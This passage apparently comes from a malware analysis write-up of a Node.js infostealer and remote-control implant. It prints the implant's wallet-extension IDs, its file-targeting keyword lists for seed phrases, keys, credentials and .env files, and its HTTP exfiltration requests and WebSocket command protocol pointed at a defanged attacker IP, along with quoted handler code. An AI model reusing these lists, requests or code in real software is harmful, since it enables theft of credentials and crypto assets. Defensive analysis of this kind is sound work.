class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">mopnmbcafieddcagagdcbnhejhlodfdd</span></span><br></pre></td></tr></table></figure></li><li><p>Polkadot.js</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nkklfkfpelhghbidbnpdfhblphpfjmbo</span></span><br></pre></td></tr></table></figure></li><li><p>Temple Wallet (Tezos)</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">penjlddjkjgpnkllboccdgccekpkcbin</span></span><br></pre></td></tr></table></figure></li><li><p>Ronin Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ppbibelpcjmhbdihakflkdcoccbgbkpo</span></span><br></pre></td></tr></table></figure></li></ol><p>If MacOS, gets macOS Keychain</p><ul><li><code>$&#123;process.env.HOME&#125;/Library/Keychains/login.keychain-db</code></li></ul><p>If Brave, gets its wallet LevelDB</p><ul><li><code>&#123;Browser Path&#125;/&#123;Profile&#125;/Local Storage/leveldb/*</code></li></ul><p>The information obtained above is uploaded to <code>144.172.107[.]191:8085/upload</code> in the following way. Browser data theft is executed every 30 seconds for a total of 10 iterations. Password decryption upload is executed every 3rd iteration.</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/upload</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8085</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data</span><br><span class="line"><span class="attribute">userkey</span><span class="punctuation">: </span>101</span><br><span class="line"><span class="attribute">hostname</span><span class="punctuation">: </span>&lt;hostname&gt;</span><br><span class="line"><span class="attribute">timestamp</span><span class="punctuation">: </span>&lt;timestamp&gt;</span><br><span class="line"><span class="attribute">file-metadata</span><span class="punctuation">: </span>&lt;JSON array&gt;</span><br><span class="line"><span class="attribute">t</span><span class="punctuation">: </span>&lt;t&gt;</span><br><span class="line">[FormData with multiple files]</span><br></pre></td></tr></table></figure><hr><h4 id="autoUploadScript-TEMP-pid-t-2-lock"><a href="#autoUploadScript-TEMP-pid-t-2-lock" class="headerlink" title="autoUploadScript ( %TEMP%&#x2F;pid.[t].2.lock )"></a>autoUploadScript ( %TEMP%&#x2F;pid.[t].2.lock )</h4><p>Performs a one-time full disk scan for sensitive files.</p><p>Scan paths include</p><table><thead><tr><th align="left">Platform</th><th align="left">Scan Path</th></tr></thead><tbody><tr><td align="left">Windows</td><td align="left">All drives (A-Z), C: last</td></tr><tr><td align="left">macOS&#x2F;Linux</td><td align="left"><code>$HOME</code> directory</td></tr><tr><td align="left">WSL</td><td align="left"><code>/mnt</code> (Windows drives)</td></tr></tbody></table><p>Priority directories</p><figure class="highlight autohotkey"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">Windows:</span></span><br><span class="line"><span class="built_in">Desktop,</span> Documents, Downloads, OneDrive, Google Drive, GoogleDrive</span><br><span class="line"><span class="title">macOS/Linux:</span></span><br><span class="line"><span class="built_in">Desktop,</span> Documents, Downloads, Library/CloudStorage,</span><br><span class="line"><span class="built_in">Projects,</span> projects, Development, development,</span><br><span class="line"><span class="built_in">Code,</span> code, Code Projects, code projects,</span><br><span class="line"><span class="built_in">source,</span> Source, OneDrive, Google Drive, GoogleDrive</span><br></pre></td></tr></table></figure><p>Excluded directories</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.quokka</span>, <span class="selector-class">.bash_rc</span>, <span class="selector-class">.bash_sessions</span>, <span class="selector-class">.atom</span>, <span class="selector-class">.zen</span>, thumbnails, <span class="selector-class">.rhinocode</span>,</span><br><span class="line"><span class="selector-class">.codeium</span>, <span class="selector-class">.adobe</span>, <span class="selector-class">.matplotlib</span>, <span class="selector-class">.antigravity</span>, <span class="selector-class">.gemini</span>, <span class="selector-class">.pyenv</span>, <span class="selector-class">.pgadmin</span>,</span><br><span class="line"><span class="selector-class">.ipython</span>, <span class="selector-class">.idlerc</span>, <span class="selector-class">.codex</span>, <span class="selector-class">.qodo</span>, <span class="selector-class">.cups</span>, <span class="selector-class">.n2</span>, <span class="selector-class">.n3</span>, <span class="selector-class">.pki</span>, <span class="selector-class">.ruby</span>,</span><br><span class="line"><span class="selector-class">.vscode-remote</span>, <span class="selector-class">.python</span>, <span class="selector-class">.php</span>, <span class="selector-class">.oh-my-zsh</span>, <span class="selector-class">.nvs</span>, <span class="selector-class">.maven</span>, <span class="selector-class">.jupyter</span>,</span><br><span class="line"><span class="selector-class">.dotnet</span>, assetbundles, <span class="selector-class">.pnpm-store</span>, <span class="selector-class">.rbenv</span>, movies, music, adobe,</span><br><span class="line">package cache, nvidia corporation, saved games, winrar, <span class="selector-class">.cargo</span>, <span class="selector-class">.lingma</span>,</span><br><span class="line"><span class="selector-class">.qoder</span>, <span class="selector-class">.trae-aicc</span>, <span class="selector-class">.vscode-insiders</span>, <span class="selector-class">.avo-code</span>, ubuntu-backup, snap-data,</span><br><span class="line">app-configs, <span class="selector-class">.local</span>, <span class="selector-class">.config</span>, <span class="selector-class">.anydesk</span>, library, programdata, <span class="selector-class">.tmp</span>,</span><br><span class="line">node_modules, npm, <span class="selector-class">.npm</span>, <span class="selector-class">.yarn</span>, yarn<span class="selector-class">.lock</span>, package-lock<span class="selector-class">.json</span>, pnpm-store,</span><br><span class="line"><span class="selector-class">.pnpm</span>, public, static, assets, resources, css, less, scss, sass, stylus,</span><br><span class="line">styles, style, themes, theme, build, dist, out, target, bin, obj, <span class="selector-class">.next</span>,</span><br><span class="line"><span class="selector-class">.nuxt</span>, <span class="selector-class">.output</span>, <span class="selector-class">.vuepress</span>, <span class="selector-class">.vitepress</span>, appdata, program files,</span><br><span class="line">program files (x86), windows, windows<span class="selector-class">.old</span>, system volume information,</span><br><span class="line"><span class="variable">$recycle</span><span class="selector-class">.bin</span>, recovery, perflogs, intel, amd, nvidia, microsoft,</span><br><span class="line">microsoftedgebackup, system, applications, <span class="selector-class">.trash</span>, <span class="selector-class">.spotlight-v100</span>,</span><br><span class="line"><span class="selector-class">.fseventsd</span>, <span class="selector-class">.documentrevisions-v100</span>, <span class="selector-class">.temporaryitems</span>, <span class="selector-class">.vol</span>, cores,</span><br><span class="line">application support, proc, sys, dev, run, boot, lost+found, snap, flatpak,</span><br><span class="line">desktop<span class="selector-class">.ini</span>, thumbs<span class="selector-class">.db</span>, <span class="selector-class">.vscode</span>, <span class="selector-class">.idea</span>, <span class="selector-class">.vs</span>, <span class="selector-class">.eclipse</span>, <span class="selector-class">.settings</span>,</span><br><span class="line"><span class="selector-class">.metadata</span>, <span class="selector-class">.gradle</span>, <span class="selector-class">.mvn</span>, <span class="selector-class">.git</span>, <span class="selector-class">.github</span>, <span class="selector-class">.svn</span>, <span class="selector-class">.hg</span>, <span class="selector-class">.bzr</span>, <span class="selector-class">.cache</span>, cache,</span><br><span class="line">tmp, temp, *~, vendor, vendors, <span class="selector-class">.venv</span>, venv, <span class="selector-class">.conda</span>, anaconda3, miniconda3,</span><br><span class="line"><span class="selector-class">.rustup</span>, <span class="selector-class">.pub-cache</span>, <span class="selector-class">.dart_tool</span>, <span class="selector-class">.m2</span>, <span class="selector-class">.ivy2</span>, <span class="selector-class">.sbt</span>, libs, packages, package,</span><br><span class="line">pkgs, pkg, documentation, examples, example, samples, sample, test, tests,</span><br><span class="line">spec, specs, <span class="selector-class">.ssh</span>, <span class="selector-class">.gnupg</span>, <span class="selector-class">.aws</span>, <span class="selector-class">.docker</span>, <span class="selector-class">.kube</span>, <span class="selector-class">.terraform</span>, <span class="selector-class">.vagrant</span>,</span><br><span class="line"><span class="selector-class">.node-gyp</span>, <span class="selector-class">.nvm</span>, <span class="selector-class">.bun</span>, <span class="selector-class">.deno</span>, <span class="selector-class">.go</span>, <span class="selector-class">.gopath</span>, <span class="selector-class">.gocache</span>, <span class="selector-class">.cursor</span>,</span><br><span class="line"><span class="selector-class">.vscode-server</span>, <span class="selector-class">.claude</span>, <span class="selector-class">.windsurf</span>, <span class="selector-class">.snipaste</span>, <span class="selector-class">.vue-cli-ui</span>, <span class="selector-class">.devctl</span>,</span><br><span class="line"><span class="selector-class">.eigent</span>, fonts, <span class="attribute">font</span>, icons, icon, wallpaper, wallpapers, background,</span><br><span class="line">backgrounds, locale, locales, _locales, i18n, translations, lang, language,</span><br><span class="line">languages, visual studio <span class="selector-tag">code</span><span class="selector-class">.app</span>, chrome<span class="selector-class">.app</span>, firefox<span class="selector-class">.app</span>, safari<span class="selector-class">.app</span>,</span><br><span class="line">opera<span class="selector-class">.app</span>, brave browser<span class="selector-class">.app</span>, vmware, <span class="selector-class">.vmware</span>, vmware fusion,</span><br><span class="line">vmware fusion<span class="selector-class">.app</span>, vmware workstation, vmware player, vmware vsphere,</span><br><span class="line">vmware vcenter, /applications/vmware, /usr/lib/vmware, /usr/share/vmware,</span><br><span class="line">program files/vmware, program files (x86)/vmware, appdata/local/vmware,</span><br><span class="line">appdata/roaming/vmware, library/application support/vmware, <span class="selector-class">.vmwarevm</span>,</span><br><span class="line"><span class="selector-class">.vmdk</span>, <span class="selector-class">.vmem</span>, <span class="selector-class">.vmsn</span>, <span class="selector-class">.vmsd</span>, <span class="selector-class">.vmx</span>, <span class="selector-class">.vmxf</span>, <span class="selector-class">.nvram</span>, <span class="selector-class">.vmtm</span>, mysql, postgresql,</span><br><span class="line">mongodb, redis, elasticsearch, openzeppelin, prisma, <span class="selector-class">.expo</span>, <span class="selector-class">.svelte-kit</span>,</span><br><span class="line">hooks, <span class="selector-class">.wine</span>, .<span class="number">3</span>T, <span class="selector-class">.gk</span>, <span class="selector-class">.move</span>, <span class="selector-class">.tldrc</span>, <span class="selector-class">.android</span>, <span class="selector-class">.avm</span>, <span class="selector-class">.brownie</span>,</span><br><span class="line"><span class="selector-class">.cocoapods</span>, <span class="selector-class">.zsh_sessions</span>, <span class="selector-class">.pm2</span>, <span class="selector-class">.pyp</span>, <span class="selector-class">.myi</span>, manifest, debug, plugin, plugins</span><br></pre></td></tr></table></figure><p>Target sensitive file keywords&#x2F;extensions</p><ul><li><p>Wallet Related</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.keystore, phone, database, <span class="keyword">bank, </span>financ, metamask, phantom, <span class="keyword">bitcoin,</span></span><br><span class="line"><span class="keyword"></span>ethereum, eth, trust, wallet, coinbase, exodus, ledger, trezor, keystore,</span><br><span class="line">keyring, keychain, atomic, electrum, mycelium, <span class="keyword">blockchain, </span><span class="keyword">bravewallet,</span></span><br><span class="line"><span class="keyword"></span>rabby, coin98, <span class="keyword">backpack, </span>core, mathwallet, solflare, glow, keplr, argent,</span><br><span class="line">martian, petra, <span class="keyword">binance, </span>okx, crypto, cryptocurrency, hardhat, truffle</span><br></pre></td></tr></table></figure></li><li><p>Private Keys &#x2F; Certificates</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">private, privatekey, private_key, private-key, privkey, priv_key, key,</span><br><span class="line">keypair, key_pair, key-pair, <span class="string">.pem</span>, <span class="string">.p12</span>, <span class="string">.pfx</span>, <span class="string">.jks</span>, <span class="string">.keys</span>, keys, <span class="string">.p8</span>,</span><br><span class="line"><span class="string">.p7b</span>, <span class="string">.p7c</span>, <span class="string">.cer</span>, <span class="string">.crt</span>, <span class="string">.cert</span>, cert, <span class="string">.der</span>, id_rsa, id_dsa, id_ecdsa,</span><br><span class="line">id_ed25519, <span class="string">.pub</span>, <span class="string">.priv</span></span><br></pre></td></tr></table></figure></li><li><p>Mnemonic &#x2F; Seed</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">seed</span>, seedphrase, seed_phrase, seed-phrase, mnemonic, phrase, passphrase,</span><br><span class="line"><span class="attribute">pass_phrase</span>, pass-phrase, recovery, recoveryphrase, recovery_phrase,</span><br><span class="line"><span class="attribute">recovery</span>-phrase, backup, backupphrase, backup_phrase, backup-phrase,</span><br><span class="line"><span class="attribute">12words</span>, <span class="number">12</span>_words, <span class="number">12</span>-words, <span class="number">24</span>words, <span class="number">24</span>_words, <span class="number">24</span>-words, bip39, bip44</span><br></pre></td></tr></table></figure></li><li><p>Authentication Info</p><figure class="highlight autohotkey"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">password,</span> passwd, pass, pwd, credential, credentials, auth, authentication,</span><br><span class="line"><span class="built_in">token,</span> access_token, refresh_token, api_key, apikey, api-key, apisecret,</span><br><span class="line"><span class="built_in">api_secret,</span> api-secret, secret, secrets, secretkey, secret_key, secret-key,</span><br><span class="line"><span class="built_in">masterkey,</span> master_key, master-key, masterpassword, master_password,</span><br><span class="line">master-password</span><br></pre></td></tr></table></figure></li><li><p>Account Info</p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">account, accounts, profile, profiles, <span class="keyword">user</span>, username, user_name, <span class="keyword">user</span>-<span class="type">name</span>,</span><br><span class="line"><span class="keyword">login</span>, signin, sign_in, sign-<span class="keyword">in</span>, address, addresses, tx, <span class="keyword">transaction</span>,</span><br><span class="line">transactions</span><br></pre></td></tr></table></figure></li><li><p>Config Files</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">.env</span>, env, environment, config, configuration, configure, <span class="string">.conf</span>, <span class="string">.cfg</span>,</span><br><span class="line"><span class="string">.ini</span>, <span class="string">.properties</span>, <span class="string">.yaml</span>, <span class="string">.yml</span>, <span class="string">.toml</span></span><br></pre></td></tr></table></figure></li><li><p>Database &#x2F; Documents</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.db</span>, <span class="selector-class">.sqlite</span>, <span class="selector-class">.sqlite3</span>, <span class="selector-class">.sql</span>, <span class="selector-class">.mdb</span>, <span class="selector-class">.accdb</span>, <span class="selector-class">.dbf</span>, <span class="selector-class">.doc</span>, <span class="selector-class">.docx</span>, <span class="selector-class">.pdf</span>,</span><br><span class="line"><span class="selector-class">.md</span>, <span class="selector-class">.markdown</span>, <span class="selector-class">.rtf</span>, <span class="selector-class">.odt</span>, <span class="selector-class">.xls</span>, <span class="selector-class">.xlsx</span>, <span class="selector-class">.txt</span>, <span class="selector-tag">text</span>, note, notes,</span><br><span class="line">memo, memos</span><br></pre></td></tr></table></figure></li><li><p>Screenshots &#x2F; Media</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">screenshot, screen, snapshot, capture, <span class="string">.png</span>, <span class="string">.jpg</span>, <span class="string">.jpeg</span>, <span class="string">.bmp</span></span><br></pre></td></tr></table></figure></li><li><p>Code &#x2F; Data</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">.json</span>, <span class="string">.js</span>, <span class="string">.ts</span>, <span class="string">.jsx</span>, <span class="string">.tsx</span>, <span class="string">.csv</span>, <span class="string">.xml</span></span><br></pre></td></tr></table></figure></li><li><p>Backups &#x2F; Other Sensitive</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">.lock</span>, <span class="string">.log</span>, <span class="string">.bak</span>, backup, <span class="string">.old</span>, <span class="string">.orig</span>, <span class="string">.save</span>, <span class="string">.swp</span>, <span class="string">.tmp</span>, tmp, my,</span><br><span class="line">personal, vault, safe, secure, lock, encrypt, decrypt, signature, sign,</span><br><span class="line">certificate, identity, session, cookie</span><br></pre></td></tr></table></figure></li></ul><p>File extension exclusions</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">.exe</span>, <span class="string">.dll</span>, <span class="string">.so</span>, <span class="string">.dylib</span>, <span class="string">.bin</span>, <span class="string">.app</span>, <span class="string">.deb</span>, <span class="string">.rpm</span>, <span class="string">.pkg</span>, <span class="string">.dmg</span>, <span class="string">.msi</span>,</span><br><span class="line"><span class="string">.appimage</span>, <span class="string">.lnk</span>, <span class="string">.alias</span>, <span class="string">.desktop</span>, <span class="string">.mp4</span>, <span class="string">.mp3</span>, <span class="string">.avi</span>, <span class="string">.mov</span>, <span class="string">.wmv</span>, <span class="string">.flv</span>,</span><br><span class="line"><span class="string">.mkv</span>, <span class="string">.webm</span>, <span class="string">.wma</span>, <span class="string">.wav</span>, <span class="string">.flac</span>, <span class="string">.aac</span>, <span class="string">.ogg</span>, <span class="string">.m4a</span>, <span class="string">.gif</span>, <span class="string">.tiff</span>, <span class="string">.svg</span>,</span><br><span class="line"><span class="string">.ico</span>, <span class="string">.heif</span>, <span class="string">.tmp</span>, <span class="string">.temp</span>, <span class="string">.swp</span>, <span class="string">.swo</span>, <span class="string">.jar</span>, <span class="string">.war</span>, <span class="string">.ear</span>,</span><br><span class="line"><span class="string">.sublime-project</span>, <span class="string">.sublime-workspace</span></span><br></pre></td></tr></table></figure><p>Once a matching sensitive file is scanned, it first checks if it is larger than 5 MB. If smaller, it uploads to <code>144[.]172[.]107[.]191:8086/upload</code></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/upload</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8086</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data</span><br><span class="line"><span class="attribute">userkey</span><span class="punctuation">: </span>101</span><br><span class="line"><span class="attribute">hostname</span><span class="punctuation">: </span>&lt;hostname&gt;</span><br><span class="line"><span class="attribute">path</span><span class="punctuation">: </span>&lt;filepath_urlencoded&gt;</span><br><span class="line"><span class="attribute">t</span><span class="punctuation">: </span>&lt;t&gt;</span><br><span class="line">[FormData with file]</span><br></pre></td></tr></table></figure><hr><h4 id="socketScript-TEMP-pid-t-3-lock"><a href="#socketScript-TEMP-pid-t-3-lock" class="headerlink" title="socketScript ( %TEMP%&#x2F;pid.[t].3.lock)"></a>socketScript ( %TEMP%&#x2F;pid.[t].3.lock)</h4><p>This module mainly performs C2 control command parsing and execution.</p><p>First, it makes an initial notification to <code>114.172.107[.]191:8087/api/notify</code> using the following method:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/notify</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8087</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line">&#123;</span><br><span class="line">  &quot;ukey&quot;: &lt;userkey&gt;,</span><br><span class="line">  &quot;t&quot;: &lt;t&gt;,</span><br><span class="line">  &quot;host&quot;: &quot;101_&lt;hostname&gt;&quot;,</span><br><span class="line">  &quot;os&quot;: &quot;&lt;os_type&gt; &lt;os_release&gt;&quot;,</span><br><span class="line">  &quot;username&quot;: &quot;&lt;username&gt;&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Then it uses web socket to transmit commands with <code>ws://114.172.107[.]191:8087</code>.</p><table><thead><tr><th align="left">Event</th><th align="left">Direction</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left"><code>connect</code></td><td align="left">Victim → C2</td><td align="left">Connection successful, start searching <code>.env*</code></td></tr><tr><td align="left"><code>connect_error</code></td><td align="left">Victim</td><td align="left">Handle connection error</td></tr><tr><td align="left"><code>whour</code></td><td align="left">C2 → Victim</td><td align="left">C2 queries identity</td></tr><tr><td align="left"><code>whoIm</code></td><td align="left">Victim → C2</td><td align="left">Report host info</td></tr><tr><td align="left"><code>command</code></td><td align="left">C2 → Victim</td><td align="left">Execute arbitrary command</td></tr><tr><td align="left"><code>message</code></td><td align="left">Victim → C2</td><td align="left">Return command result</td></tr><tr><td align="left"><code>disconnect</code></td><td align="left">Victim</td><td align="left">Disconnect handling</td></tr><tr><td align="left"><code>reconnect</code></td><td align="left">Victim</td><td align="left">Reconnection successful</td></tr><tr><td align="left"><code>processControl</code></td><td align="left">C2 → Victim</td><td align="left">Remote process control</td></tr><tr><td align="left"><code>processStatus</code></td><td align="left">Victim → C2</td><td align="left">Report process status</td></tr></tbody></table><h5 id="Connect-Connet-error"><a href="#Connect-Connet-error" class="headerlink" title="Connect &#x2F; Connet error"></a>Connect &#x2F; Connet error</h5><p>Connection successful, start searching <code>.env*</code> and upload to <code>http://144.172.107[.]191:8085/api/upload-file</code></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;connect&quot;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;✅ Connected to socket server (for file browsing)&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> status = <span class="title function_">checkProcessStatus</span>();</span><br><span class="line">  socket.<span class="title function_">emit</span>(<span class="string">&quot;processStatus&quot;</span>, status);</span><br><span class="line"></span><br><span class="line">  <span class="title function_">setImmediate</span>(<span class="title function_">async</span> () =&gt; &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="keyword">await</span> <span class="string">&quot;.env&quot;</span>;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;Error searching for .env files:&quot;</span>, err.<span class="property">message</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;connect_error&quot;</span>, <span class="function">(<span class="params">error</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;❌ Socket connection error:&quot;</span>, error.<span class="property">message</span>);</span><br><span class="line">  <span class="title function_">reject</span>(error);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>HTTP POST請求為</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/upload-file</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8085</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/octet-stream</span><br><span class="line"><span class="attribute">userkey</span><span class="punctuation">: </span>101</span><br><span class="line"><span class="attribute">t</span><span class="punctuation">: </span>1706567890</span><br><span class="line"><span class="attribute">hostname</span><span class="punctuation">: </span>&lt;hostname&gt;</span><br><span class="line"><span class="attribute">path</span><span class="punctuation">: </span>found..env%2F_Users_victim_project_.env</span><br><span class="line"><span class="attribute">filename</span><span class="punctuation">: </span>.env</span><br><span class="line"><span class="attribute">timestamp</span><span class="punctuation">: </span>1706567890</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>256</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br><span class="line"></span><br><span class="line"><span class="language-angelscript"><span class="string">[.env content]</span></span></span><br></pre></td></tr></table></figure><h5 id="whour-whoIm"><a href="#whour-whoIm" class="headerlink" title="whour&#x2F;whoIm"></a>whour&#x2F;whoIm</h5><p>Query Identity and Report Identity</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;whour&quot;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">const</span> s_i = <span class="title function_">gsi</span>();</span><br><span class="line">  socket.<span class="title function_">emit</span>(<span class="string">&quot;whoIm&quot;</span>, &#123;</span><br><span class="line">    <span class="attr">ukey</span>: <span class="number">101</span>,</span><br><span class="line">    <span class="attr">t</span>: &lt;timestamp&gt;,</span><br><span class="line">    <span class="attr">host</span>: <span class="string">&quot;101_&quot;</span> + s_i.<span class="property">host</span>,</span><br><span class="line">    <span class="attr">os</span>: s_i.<span class="property">os</span>,</span><br><span class="line">    <span class="attr">username</span>: s_i.<span class="property">username</span>,</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h5 id="command-message"><a href="#command-message" class="headerlink" title="command&#x2F;message"></a>command&#x2F;message</h5><p>Execute command and report result</p><ul><li>code 102 : Read directory list</li><li>code 107 : Read and upload<ul><li>If file size &gt; 1MB : HTTP + WebSocket , HTTP path: <code>http://144.172.107[.]191:8085/api/upload-file</code></li><li>If file size &gt; 1MB : Only Http, HTTP path: <code>http://144.172.107[.]191:8085/api/upload-file</code></li></ul></li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span 